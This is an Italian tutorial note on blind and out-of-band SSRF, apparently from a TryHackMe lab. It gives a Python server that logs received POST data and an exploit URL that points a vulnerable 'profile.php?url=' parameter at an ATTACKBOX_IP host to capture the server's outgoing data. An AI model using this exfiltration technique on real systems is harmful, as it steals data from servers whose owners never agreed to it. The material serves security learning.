tags: SSRF blind out_of_band


Blind SSRF si riferisce a uno scenario in cui l’aggressore può inviare richieste a un server di destinazione, ma non riceve risposte dirette o feedback sull’esito delle sue richieste. In altre parole, l’aggressore è cieco alle risposte del server. Questo tipo di SSRF può essere più difficile da sfruttare perché l’aggressore non può vedere direttamente i risultati delle sue azioni. Blind SSRF con out-of-band L’SSRF out-of-band è una tecnica in cui l’aggressore sfrutta un canale di comunicazione separato, out-of-band, invece di ricevere direttamente risposte dal server di destinazione per ricevere informazioni o controllare il server sfruttato. Questo approccio è pratico quando le risposte del server non sono direttamente accessibili all’aggressore. Ad esempio, l’aggressore potrebbe manipolare il server vulnerabile per effettuare una richiesta DNS a un dominio di sua proprietà o per avviare una connessione a un server esterno con dati specifici. Questa interazione esterna fornisce all’aggressore la prova che la vulnerabilità SSRF esiste e potenzialmente gli consente di raccogliere informazioni aggiuntive, come indirizzi IP interni o la struttura della rete interna.

Un esempio potrebbe essere il seguente:

Immaginiamo di avere una pagina nella quale vediamo che il server manda dati ad un’altro server e che non è presente nessuna validazione di questi dati. Dato che non c’è nessun controllo un attaccante potrebbe creare un server e reindirizzare i dati che manda invece che al server legittimo ad un server dell’attaccante che gli permette di catturare i dati. Un server da utilizzare per ricevere i dati potrebbe essere il seguente scritto in Python:

from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
class CustomRequestHandler(SimpleHTTPRequestHandler):
 
    def end_headers(self):
        self.send_header('Access-Control-Allow-Origin', '*')  # Allow requests from any origin
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')
        super().end_headers()
 
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Hello, GET request!')
 
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode('utf-8')
 
        self.send_response(200)
        self.end_headers()
 
        # Log the POST data to data.html
        with open('data.html', 'a') as file:
            file.write(post_data + '\n')
        response = f'THM, POST request! Received data: {post_data}'
        self.wfile.write(response.encode('utf-8'))
 
if __name__ == '__main__':
    server_address = ('', 8080)
    httpd = HTTPServer(server_address, CustomRequestHandler)
    print('Server running on http://localhost:8080/')
    httpd.serve_forever()

Ora lo eseguiamo:

sudo chmod +x server.py && sudo python3 server.py

Ora che abbiamo il nostro server attivo possiamo andare nella macchina vittima e lanciare la richiesta al nostro server, come per esempio:

http://hrms.thm/profile.php?url=http://ATTACKBOX_IP:8080

Se tutto va come dovrebbe dovremmo ricevere un file con all’interno i dati che doveva mandare al server legittimo.